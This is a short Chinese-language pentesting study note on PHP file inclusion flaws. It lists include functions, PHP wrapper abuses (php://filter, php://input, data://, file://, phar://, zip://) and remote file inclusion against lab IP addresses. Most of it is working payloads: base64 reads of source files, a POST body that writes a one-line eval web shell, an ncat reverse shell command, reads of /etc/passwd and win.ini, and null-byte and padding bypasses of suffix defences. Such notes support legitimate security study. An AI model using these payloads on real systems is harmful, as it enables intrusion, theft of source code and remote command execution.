文件包含漏洞
基本函数
require():包含文件出错,停止运行
require_once():包含文件出错,一次运行停止运行
include():包含文件出错,抛出告警,但继续运行
include_once():包含文件出错,一次运行抛出告警,但继续运行
以上函数会在包含文件时,将文件的php代码执行。
PHP伪协议
php://filter
用途:读取文件
攻击方法:base64读取文件源码源码
参数=php://filter/read=convert.base64-encode/resource=1.txt
一般防御方法:
将参数拼接时加入固定格式后缀,即:include($_GET['ym'].'.php')
防御绕过:
1.在php5.3.24版本中可使用%00截断,截断拼接
2.疯狂加'.',绕过拼接长度
php://input
用途:php://input可接受post数据,并执行,因此可以postphp代码执行
攻击方法:
1.参数=php://input
2.更改数据包post,添加<?php phpinfo()?>即可运行
扩展攻击:
一句话木马写入:
post包:
<?php fputs(fopen('input_shell.php','w'),'<?php @eval($_POST[1]);?>')?>
反弹shell:
post包:
system('ncat -e /bin/bash localhost 1234');
data伪协议
攻击方法:
data://text/plain,<?php phpinfo();?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
在实验过程中base64编码无法执行,原因是<?php phpinfo();?>在编成base64的时候出现了+。而浏览器不认识+号。所以解决方法
1.不写后面的?>或者直接删除‘;’ 因为PHP里面其实不需要写后面的 前面的;号就已经说明结束了。如果没有;号就必须写?>作为结束。
2.添加空格改变base64编码。
3.将+号换成%2b
参考链接:
file伪协议
用途:读取文件
攻击方法:
file:///Window/win.ini
file:///etc/passwd
phar伪协议
用途:读取压缩包
攻击方法:
参数=phar://phpinfo.zip/phpinfo.txt
zip伪协议
用途:读取压缩包
攻击方法:
参数=zip://phpinfo.zip%23phpinfo.txt
远程文件包含
http://192.168.47.99:8088/?ym=http://192.168.47.47:7544/1.txt
主机99远程执行主机47的1.txt内容,主机99执行1.txt的php代码。
192.168.47.99:8088/?ym=http://192.168.47.47:7544/1.php
主机99远程获取主机47的执行1.php的内容,主机47执行1.php后的网页源代码,将结果放送给主机99